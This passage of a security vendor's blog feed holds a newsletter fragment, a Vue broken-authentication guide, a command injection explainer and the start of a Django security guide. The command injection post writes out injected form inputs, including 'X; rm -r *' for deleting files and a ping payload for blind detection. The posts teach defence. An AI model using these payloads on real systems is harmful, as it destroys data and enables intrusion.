Docs&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;a href=&quot;https://youtu.be/3AxwPHZRB7w&quot;&gt;&lt;b&gt;👀 Watch a Snyk Peek&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;🦅🐶 StackHawk and Snyk in Action&lt;/h2&gt;&lt;p&gt;Join us on &lt;b&gt;Wednesday, May 4, at 10 AM PST&lt;/b&gt; to watch StackHawk&amp;#39;s Chief Security Officer Scott Gerlach and Snyk&amp;#39;s Tomas Gonzalez demonstrate how the Snyk Code integration can help you find and fix security issues quickly. Follow along to see how your team can streamline security testing in CI/CD using these tools.&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;a href=&quot;https://stackhawk.zoom.us/webinar/register/8616511842943/WN_ldMmckPWS4eb6MgxSZs_-A&quot;&gt;&lt;b&gt;Save Your Spot!&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Other Happenings: Because We Have to Keep Corporate Busy Somehow&lt;/h2&gt;&lt;p&gt;&lt;b&gt;📺 Hawk Talks&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/X9WEyFU6dyg&quot;&gt;The CTO Connection Webinar: Moving Towards Continuous Application Security&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://webinars.securityboulevard.com/appsec-0?utm_campaign=$2022.04.25$_EdCal_Panel_SB&amp;utm_source=StackHawk&quot;&gt;Security Boulevard Webinar Panel: Surveying the AppSec Landscape&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.conf42.com/Cloud_Native_2022_Zachary_Conger_local_microservice_development_remote_kubernetes_assist&quot;&gt;Conf42: Local Microservice Development with Remote Kubernetes Assist&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📖Reading Material&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/announcing-stackhawks-new-snyk-code-integration/&quot;&gt;Introducing StackHawk’s New Snyk Code Integration&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.devopsdigest.com/stackhawk-integrates-with-snyk&quot;&gt;DEVOPSdigest: StackHawk Integrates with Snyk&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.securitymagazine.com/articles/97482-threat-actors-exploited-more-zero-day-vulnerabilities-in-2021&quot;&gt;Threat Actors Exploited More Zero-Day Vulnerabilities in 2021&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/breathe-life-chooses-stackhawk-and-snyk/&quot;&gt;Breathe Life Deploys StackHawk and Snyk for a Dev-Centric Application Security Program&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[from the archives] &lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/why-dast-should-be-your-first-application-security-priority/&quot;&gt;Why DAST Should Be Your First Application Security Priority&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📽 Virtual Events&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;May 10: &lt;a href=&quot;https://www.docker.com/blog/dockercon-2022-community-powered-developer-obsessed/&quot;&gt;DockerCon 2022&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;🎟 In-Person Events&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;May 16-20: &lt;a href=&quot;https://events.linuxfoundation.org/kubecon-cloudnativecon-europe/&quot;&gt;KubeCon EU 2022&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;May 12: &lt;a href=&quot;https://www.ctoconnection.com/events/in-person/2022-05-12-the-2022-chicago-cto-summit&quot;&gt;Chicago CTO Summit&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;May 18-19: &lt;a href=&quot;https://www.gluecon.com/&quot;&gt;GlueCon 2022&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;May 19: &lt;a href=&quot;https://www.ctoconnection.com/events/in-person/2022-05-19-the-2022-new-york-cto-summit&quot;&gt;New York CTO Summit&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;June 4-5: &lt;a href=&quot;https://bsidessf.org/&quot;&gt;BSidesSF 2022&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;June 6-9: &lt;a href=&quot;https://www.rsaconference.com/usa&quot;&gt;RSA Conference&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;💼&lt;b&gt;Jobs @ StackHawk&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Technical UX Writer&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Junior Solutions Architect&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Senior Solutions Architect&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;❤️ Give Us Some Love&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Share the goodness of developer-centric application security. We are always grateful for recommendations and referrals! We’d love for you to share StackHawk with your friends and colleagues, or &lt;a href=&quot;https://www.g2.com/products/stackhawk/reviews&quot;&gt;leave us a review on g2&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Vue Broken Authentication Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/vue-broken-authentication-guide-examples-and-prevention</guid><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In this article, we&amp;#39;ll discuss broken authentication in Vue and how to address it effectively in your projects. &lt;/p&gt;&lt;p&gt;We&amp;#39;ll start by defining what broken authentication is. Then we&amp;#39;ll explore the two common methods that facilitate broken authentication vulnerabilities. Next, we&amp;#39;ll show you some examples of the most common broken authentication vulnerabilities on the web. Finally, we&amp;#39;ll offer effective mitigation practices. &lt;/p&gt;&lt;p&gt;By the end of this article, you can expect to understand the fundamentals of authentication, how broken authentication affects your security, and what you can do about it. &lt;/p&gt;&lt;p&gt;We wrote this article for developers with experience in Vue and JavaScript. However, if this is not your development stack of choice, we encourage you to find an article with your technology of choice on our &lt;a href=&quot;https://www.stackhawk.com/blog/&quot;&gt;&lt;u&gt;blog.&lt;/u&gt;&lt;/a&gt; &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Defining Broken Authentication&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;To explain what broken authentication is, let&amp;#39;s briefly revisit the definition shared in a related &lt;a href=&quot;https://www.stackhawk.com/blog/rails-broken-authentication-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;article&lt;/u&gt;&lt;/a&gt;. As previously stated, &amp;quot;The term broken authentication is an umbrella used for several vulnerabilities that attackers can exploit to hijack our systems and impersonate other users.&amp;quot; &lt;/p&gt;&lt;p&gt;Authentication is the mechanism in your platform that ensures that only a verified user can access the information and privileges provided on a web application. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;We refer to authentication as broken when a bad actor successfully circumvents the procedure, whether by impersonating a user or acquiring privileges. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Going back to the referenced article: &amp;quot;To be more specific, broken authentication refers to the vulnerabilities or weaknesses inherent in an online platform or application&amp;#39;s authentication mechanisms. We can usually find these vulnerabilities in poor session management and credential management.&amp;quot; Both of these avenues could lead to broken authentication since bad actors can impersonate users, either by hijacking the session ID or stealing the login credentials of other users. &lt;/p&gt;&lt;p&gt;Furthermore, this breach allows bad actors to compromise passwords, session tokens, user information, and other elements to take over user identities. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Broken Authentication Methods&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Now that you know that broken authentication attacks target credential and session management mechanisms, let&amp;#39;s see how bad actors can seize these systems. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Deficient Credential Management&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;If your system incorrectly implements credential management, a bad actor can hijack your authentication mechanism and gain access to the system. One of the ways this happens is when you allow weak passwords. &lt;/p&gt;&lt;p&gt;When your system allows users to use passwords like &amp;#39;12345&amp;#39; or &amp;#39;password,&amp;#39; a bad actor can make use of tools and techniques like brute force, rainbow tables, and dictionaries to crack them. &lt;/p&gt;&lt;p&gt;The second way bad actors can take over your security is by exploiting weak cryptography. Inadequate encryption mechanisms like base64 and hashing algorithms like SHA1 or MD5 puts user credentials in a vulnerable spot in the case of a security breach.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Inadequate Session Management&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;As stated by the &lt;a href=&quot;https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication&quot;&gt;&lt;u&gt;OWASP&lt;/u&gt;&lt;/a&gt;, the typical interaction flow between a server and client starts with issuing a session ID and registering the interaction. This session ID is analogous to login credentials. Therefore, if a bad actor successfully steals this session ID, he can impersonate the victim. This is known as a session hijacking breach, and it&amp;#39;s common on the web. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Broken Authentication Vulnerabilities&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;There are many ways to take advantage of poor implementation of session and credential management systems. Here are a few of them. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Password Spraying&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Password spraying exploits accounts that use simple and weak passwords such as &amp;#39;12345&amp;#39; and &amp;#39;password,&amp;#39; rainbow tables, and password dictionaries. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Credential Stuffing&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Credential stuffing takes advantage of credentials obtained from previous breaches from other platforms. This approach presumes that many users reuse credentials due to laziness or friction between platforms. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Session Hijacking&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;When you expose the user session IDs, you make your users susceptible to hijacks by bad actors. One example is when a user forgets to log off before leaving and a bad actor hijacks the session to act like the victim. Furthermore, when your system issues the same session ID before and after authentication, it could open the door to a session fixation attack. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Session ID URL&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Following the previous point, if you implement session ID by adding it to the URL as a query string, any individual gaining access to that URL can impersonate the victim. Bad actors can achieve this by hijacking insecure Wi-Fi connections, man-in-the-middle attacks, or simply looking at the victim&amp;#39;s address bar. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Phishing Attacks&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;By sending emails disguised as legitimate, bad actors can make victims click on links to websites that appear legitimate, persuading them to disclose their credentials. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Fixing Broken Authentication&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The best way to mitigate these vulnerabilities requires following the best practices laid out by the OWASP. However, this can be a complicated and tricky process that can unintentionally break some things. &lt;/p&gt;&lt;p&gt;The good news is that you can address most of the issues by integrating robust, third-party solutions like Auth0. Their platform will protect your users&amp;#39; credentials and provide you with the best tools to secure your application. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s briefly see how to implement it. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Integrating Third-Party Authentication&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The first thing you need to do is create an account on the &lt;a href=&quot;https://auth0.com/&quot;&gt;&lt;u&gt;Auth0&lt;/u&gt;&lt;/a&gt; website. Once you&amp;#39;ve done that, create your application and get the keys necessary to integrate the library &lt;a href=&quot;https://manage.auth0.com/dashboard/us/dev-dpi99qgk/applications&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;All you need to do is provide the callback and logout URLs, which should point to your application. Once you do that, make sure to specify your domain in the Allowed Web Origins. &lt;/p&gt;&lt;p&gt;Finally, save the ClientID and Secret provided by the application in a safe place. These will be the credentials with which your application will communicate and interact with Auth0. &lt;/p&gt;&lt;p&gt;Now, proceed to your application console and type the following command: &lt;/p&gt;&lt;p&gt;&lt;code&gt;npm install @auth0/auth0-vue&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Then in your main app class file, add the following code, replacing the placeholders with your credentials. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Finally, add the proper login code to make use of the Auth0 library. As stated in the &lt;a href=&quot;https://auth0.com/docs/quickstart/spa/vuejs/01-login#configure-allowed-web-origins&quot;&gt;&lt;u&gt;official Auth0 documentation&lt;/u&gt;&lt;/a&gt; for Vue: &amp;quot;To add a login to your application, use the &lt;code&gt;&amp;#39;loginWithRedirect&amp;#39;&lt;/code&gt; function that is exposed on the return value of &lt;code&gt;&amp;#39;useAuth0&amp;#39;&lt;/code&gt;, which you can access in your component&amp;#39;s setup function.&amp;quot; &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This code is a simple example of making use of the login feature. You can use it as the basis of your specific implementation that satisfies your needs. &lt;/p&gt;&lt;p&gt;Please check the &lt;a href=&quot;https://auth0.com/docs/quickstart/spa/vuejs/01-login#configure-allowed-web-origins&quot;&gt;&lt;u&gt;official documentation&lt;/u&gt;&lt;/a&gt; if you want to learn more about integrating Auth0 into Vue. &lt;/p&gt;&lt;p&gt;Beyond this, make sure to follow the best practices and guidelines to minimize the potential for exploitation. Among the most critical steps are the following: &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Secure password storage&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;It is essential that you encrypt, hash, and salt all passwords in the database. This ensures that users&amp;#39; credentials are safeguarded in case of a breach. &lt;/p&gt;&lt;p&gt;Thankfully, Auth0 takes care of this for you. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Don&amp;#39;t allow weak passwords&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Weak passwords must be heavily discouraged and, if possible, prevented. In addition, users must be required to meet specific requirements when creating their passwords, like password length and the inclusion of special characters. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;You can do a lot of this on the front end by specifying restrictions on the user forms. However, if your users use external authentication providers like Google or Facebook, they have their own password policies. &lt;/p&gt;&lt;/blockquote&gt;&lt;h4&gt;&lt;b&gt;Add a strict credential recovery process&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;We recommend that you implement a mechanism for credential recovery. This should require some verification steps that make it cumbersome for bad actors to abuse. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Control session length&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;The best course of action against session shenanigans is to end the user sessions after a period of inactivity. &lt;/p&gt;&lt;p&gt;You can change this in the Auth0 dashboard by going to Settings, then Advanced, and then scrolling to the login session management segment. More info &lt;a href=&quot;https://auth0.com/docs/manage-users/sessions/configure-session-lifetime-settings&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Improve session management&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Your platform must provide unique session IDs after every authentication process. Additionally, you must invalidate old session IDs as soon as a session ends. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Disregard session ID URL&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;The information on web URLs must be protected with SSL and must not include session data. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Phishing&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;The best defense against phishing is teaching your users to identify and disregard phishing attempts. Additionally, share your communication policies so they know what to expect from you. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Finally, a lot more can be done to reduce attacks from bad actors. Of course, there&amp;#39;s always somewhere else to put effort, from implementing sophisticated biometric or two-factor authentication mechanisms to running regular penetration tests to strengthen your system. &lt;/p&gt;&lt;p&gt;In this case, we recommend you consider our solution at StackHawk. Our dynamic application security testing (DAST) solution for your team is a great and robust solution that will empower your team&amp;#39;s capacity to protect your assets and clients. &lt;/p&gt;&lt;p&gt;Check it out &lt;a href=&quot;https://stackhawk.com/&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;i&gt;&lt;u&gt;Juan&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[What is Command Injection]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/what-is-command-injection</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In software development, security is paramount, but developers tend to forget to test their applications for vulnerabilities. One such vulnerability is command injection. This blog post aims to help developers, testers, and users understand, detect, and avoid command injection vulnerabilities in their applications. &lt;/p&gt;&lt;h2&gt;What Is Command Injection?&lt;/h2&gt;&lt;p&gt;Command injection is a cyber attack wherein an attacker takes control of the host operating system by injecting code into a vulnerable application through a command. This code is executed regardless of any security mechanism and can be used to steal data, crash systems, damage databases, and even install malware that can be used later. &lt;/p&gt;&lt;p&gt;Attackers can access a target system through command injection by using various methods and techniques. The attacker runs arbitrary commands in the system shell of the web server that can compromise all relevant data.  &lt;/p&gt;&lt;p&gt;Next let&amp;#39;s look at how it differs from another widespread attack: code injection. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;How Is Command Injection Different from Code Injection?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Code injection is an attack that includes the injection of code executed by an application. This usually involves the attacker sending the target application a request (often through a browser) that includes the injection code. A lack of sufficient input/output data validation allows it to happen.  &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;A command injection occurs when an attacker alters the application&amp;#39;s default function for executing system commands.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;No new code is added. Command injection can lead to various breaches, such as downloading tools, stealing and changing credentials, or deleting files that depend on the privileges. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Vulnerabilities That Can Lead to Command Injection&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Command injection occurs when an application&amp;#39;s vulnerability allows an attacker to extend the application&amp;#39;s default functionality by executing system commands. However, executing commands through the application&amp;#39;s code is also possible. This is also called code execution. In this case, the goal is to run arbitrary commands through it. &lt;/p&gt;&lt;p&gt;Now let&amp;#39;s look at some of the flaws that might lead to command execution via command injection or code execution.  &lt;/p&gt;&lt;h3&gt;1. Arbitrary Command Injection&lt;/h3&gt;&lt;p&gt;Arbitrary command injection occurs when an application is vulnerable to a malicious command entered by a user that has the potential to execute any command directly on the underlying host. The attacker may be able to gain access to sensitive data using this type of attack. &lt;/p&gt;&lt;h3&gt;2. Arbitrary File Uploads&lt;/h3&gt;&lt;p&gt;When users are allowed to upload files with arbitrary file extensions, command injection can occur when these files are stored in the web root.  &lt;/p&gt;&lt;h3&gt;3. Server-Side Template Injection&lt;/h3&gt;&lt;p&gt;Server-side template injection is possible when web applications employ server-side templating technologies like &lt;a href=&quot;https://jinja.palletsprojects.com/en/3.1.x/&quot;&gt;&lt;u&gt;Jinja2&lt;/u&gt;&lt;/a&gt; or &lt;a href=&quot;https://twig.symfony.com/&quot;&gt;&lt;u&gt;Twig&lt;/u&gt;&lt;/a&gt; to produce dynamic HTML responses. When user input is integrated with a template in an unsafe manner, SSTI vulnerabilities exist, resulting in remote code execution on the server. &lt;/p&gt;&lt;h3&gt;4. Insecure Serialization&lt;/h3&gt;&lt;p&gt;Other vulnerabilities, such as improper deserialization, can be used to execute arbitrary commands in addition to the conventional command injection vulnerabilities. This is because the server-side code deserializes the user-supplied serialized material without verifying it.  &lt;/p&gt;&lt;p&gt;Although this is often called the insecure serialization class of vulnerabilities, if the target program fits specific conditions, such as having proper gadgets in the classpath, it eventually leads to command injection. &lt;/p&gt;&lt;h2&gt;Understanding Command Injection with an Example&lt;/h2&gt;&lt;p&gt;In the code below, we use a direct OS command “touch” to make changes to the file, which is not secure. A hacker can exploit this. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The best way to prevent command injection is to use parameterized functions like write() that enforce the separation between the arguments instead of eval, process, etc. Safe APIs are not used in the above code. &lt;/p&gt;&lt;p&gt;Developers should use safe APIs for reading and writing files here instead of eval(), touch, or any other type of direct OS commands and evaluation. And if there are no safe APIs available, sanitize all inputs and remove characters that may be interpreted, such as ‘;’, etc. &lt;/p&gt;&lt;p&gt;Here is how you can prevent command injection using JavaScript. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;We use open sync and close sync instead of a direct OS command, touch. &lt;/p&gt;&lt;h2&gt;Types of Command Injection&lt;/h2&gt;&lt;p&gt;Command Injection is of two types. One can be predicted by directly looking at the response, and the other can&amp;#39;t. Let&amp;#39;s take a broader look at the two command injection types with examples. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;1. Result-Based Command Injection&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In result-based command injection, the result shows the command&amp;#39;s output directly, which means the user can directly see the outcome of the arbitrary command that he wrote in the response. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This input does not have any validation and can lead to command injection. &lt;/p&gt;&lt;p&gt;This form has an input and a button that can create a file. As you can see, we already have some files in the folder printed in the image.  &lt;/p&gt;&lt;p&gt;Let&amp;#39;s check whether it has command injection or not by entering an OS command&lt;b&gt; &lt;/b&gt;&lt;code&gt;&lt;b&gt;a; ls;&lt;/b&gt;&lt;/code&gt;&lt;b&gt; &lt;/b&gt;in the input. This would not show any effect in the response but would also not throw an error. And now we know that it allows a semicolon. &lt;/p&gt;&lt;p&gt;So let&amp;#39;s try &lt;code&gt;X; rm -r *&lt;/code&gt;. This command removed all the files and broke its functionality. We can now see the result directly in the response, which shows us that this application is vulnerable to result-based command injection. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;2. Blind Command Injection&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In blind command injection, the response does not show the command&amp;#39;s output. The user cannot predict whether there is a command injection or not just by seeing the response.  &lt;/p&gt;&lt;p&gt;There are two techniques to find out if the application is vulnerable to blind command injection or not. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;2.1 The Time-Based Technique (Blind)&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;From the delay in the execution time, one can detect this kind of security risk&lt;b&gt;. &lt;/b&gt;The ping command for time delay allows you to select the amount of ICMP packets to send and the time it takes to perform the command: &lt;code&gt;127.0.0.1 ping -c 10&lt;/code&gt;. The program will ping its loopback network adapter for ten seconds due to this instruction. Once validated, we may export the output of the injected command char by char using a series of OS commands like cut, head, etc.  &lt;/p&gt;&lt;p&gt;We can use a time-based technique to check whether there is command injection. In the instance of result-based command injection, you can use this technique to check if there is a command injection or not since we could not see it directly in the response the first time. If you enter &lt;code&gt;test1; ping -i 1 -c 15 127.0.0.1&lt;/code&gt;&lt;b&gt;, &lt;/b&gt;you will notice a delay in the output execution.  &lt;/p&gt;&lt;h4&gt;&lt;b&gt;2.2 File-Based Technique (Semi-Blind)&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;File-based command injection happens when you can write the command in the file that is accessible to us when we cannot directly see the output in the response. An attacker could use this the same way. The difference will be that this time he will be entering the command in the file that we will have access to instead of an input. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;How to Prevent Command Injection Vulnerabilities&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The problem with command injection is straightforward: if your code makes a call to an operating system command in the same manner that a user would type it, you are putting the server at risk. &lt;/p&gt;&lt;p&gt;The most effective way to prevent OS command injection vulnerabilities is by never running OS commands from the application. &lt;/p&gt;&lt;p&gt;Suppose your web application must call OS commands. You should use a framework or module such as the fs module in JavaScript that prevents OS command injection attacks. You can do this by automatically escaping or encoding user-submitted data or preventing user-submitted data from being executed as a command. &lt;/p&gt;&lt;p&gt;There are several advantages to this approach. First, it simplifies and strengthens the application&amp;#39;s design and its architecture. In particular, it allows developers to think about the application in terms of higher-level tasks rather than lower-level commands. Second, it reduces the possibility of introducing vulnerabilities such as command injection. &lt;/p&gt;&lt;h2&gt;Best Practices to Avoid Security Vulnerabilities&lt;/h2&gt;&lt;p&gt;Thousands of security vulnerabilities are discovered every year in all kinds of applications. We put together a list of best practices to avoid them. &lt;/p&gt;&lt;h3&gt;1. Use Strongly Validated User Inputs&lt;/h3&gt;&lt;p&gt;No matter the data source or data type, and regardless of the programming language, input validation is vital. You can implement this by whitelisting strings or characters. You can use regex to allow only specific characters like alphanumeric and restrict others. &lt;/p&gt;&lt;p&gt;No matter what programming language you use or how big your codebase is, this practice will always protect you. &lt;/p&gt;&lt;h3&gt;2. Use the Principle of Least Privilege &lt;/h3&gt;&lt;p&gt;The principle of least privilege (PoLP) restricts an individual&amp;#39;s privileges to the rights required to perform their duties. The objective is to reduce the likelihood and severity of successful assaults.&lt;/p&gt;&lt;h3&gt;3. Keep Public and Private Data Separate &lt;/h3&gt;&lt;p&gt;Another important tip for securing private data is to keep the public and private data separate. This can help keep the private data safe even if the attacker gets access to public data. He will get only the public data. &lt;/p&gt;&lt;h3&gt;4. Automate Testing for Command Injection in the Build Pipeline&lt;/h3&gt;&lt;p&gt;In the era of cyberattacks and data breaches, organizations increasingly focus their attention on data security. Automation is one of the best ways to tackle the growing volume of vulnerabilities and ensure that data is secure. A dynamic application security testing (DAST) solution can scan for and identify vulnerabilities regularly and automatically. This is where StackHawk is invaluable.  &lt;/p&gt;&lt;p&gt;StackHawk&amp;#39;s DAST &lt;a href=&quot;https://www.stackhawk.com/solutions/dast&quot;&gt;&lt;u&gt;solution&lt;/u&gt;&lt;/a&gt; provides unique features like automated preproduction scans, microservices scans, API scans, and many other valuable features to secure your application before it goes to production. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Conclusion &lt;/h2&gt;&lt;p&gt;You can learn even more about command injection vulnerability &lt;a href=&quot;https://www.stackhawk.com/blog/&quot;&gt;&lt;u&gt;on our blog&lt;/u&gt;&lt;/a&gt;. And as a reminder to our readers, we&amp;#39;re always here to help you with any &lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt;&lt;u&gt;security-related problems&lt;/u&gt;&lt;/a&gt; you might be facing. So if you have any questions about this or any other security-related topic, don’t hesitate to &lt;a href=&quot;https://www.stackhawk.com/contact/&quot;&gt;&lt;u&gt;contact us&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;</content:encoded></item><item><title><![CDATA[Guide to Security in Django]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/guide-to-security-in-django</guid><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;The software world is moving to the web. Businesses, services, and products are all moving to web applications due to the reach and accessibility of web apps. With this major migration, web application frameworks have improved and become more powerful than ever. But there’s a challenge: security. With a majority of businesses conducting transactions online, web applications became a valuable asset, and also became a valuable target for malicious actors. Hence, security became more crucial than ever. &lt;/p&gt;&lt;p&gt;One of the top web application frameworks and a favorite of developers is Django. &lt;a href=&quot;https://www.djangoproject.com/&quot;&gt;&lt;u&gt;Django&lt;/u&gt;&lt;/a&gt; is a Python-based open-source web framework that allows rapid development. And along with scalability, a strong community and a &lt;a href=&quot;https://docs.python.org/3/tutorial/stdlib.html#tut-batteries-included&quot;&gt;&lt;u&gt;batteries-included&lt;/u&gt;&lt;/a&gt; framework (loaded with most of the features required for development), Django also focuses on security. In this post, we&amp;#39;ll look at some security features and libraries that come built into Django. Then we’ll see how its security features protect against common web attacks. And finally, we’ll go over some best practices for your Django projects &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Django Security Features&lt;/b&gt;&lt;/h2&gt;&lt;h3&gt;&lt;b&gt;Escaping Dangerous Characters&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Django has some built-in features that handle user-submitted data to make it safe for an application. These features escape possible dangerous characters in requests, making the data safe for the application to use. &lt;/p&gt;&lt;p&gt;The first rule of web application security is to never trust user-submitted data. Of course, the majority of the data you receive from the user side will be legit and safe. But an attacker can also maliciously craft data to damage your application or system. For example, if your application uses a SQL database and executes queries based on user input, a malicious actor can craft input that executes a query it&amp;#39;s not supposed to. And malicious data from the user side means more than data entered in user input fields, like in forms. An attacker can also manipulate web requests, and Django’s got that covered too. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Clickjacking Protection&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a 